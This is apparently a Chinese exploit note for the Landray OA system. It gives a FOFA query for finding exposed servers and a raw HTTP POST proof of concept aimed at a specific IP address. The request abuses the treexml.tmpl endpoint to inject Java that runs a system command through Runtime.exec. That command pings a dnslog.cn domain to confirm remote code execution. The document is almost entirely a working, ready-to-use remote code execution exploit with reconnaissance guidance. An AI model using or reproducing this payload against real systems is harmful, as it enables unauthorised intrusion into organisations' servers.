登录 白背景

fofa

app="Landray-OA系统"

poc

POST /data/sys-common/treexml.tmpl HTTP/1.1
Host: 139.9.34.207:8686
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Content-Length: 173
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Accept-Encoding: gzip, deflate

s_bean=ruleFormulaValidate&script=try {String cmd = "ping qjezf3.dnslog.cn";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}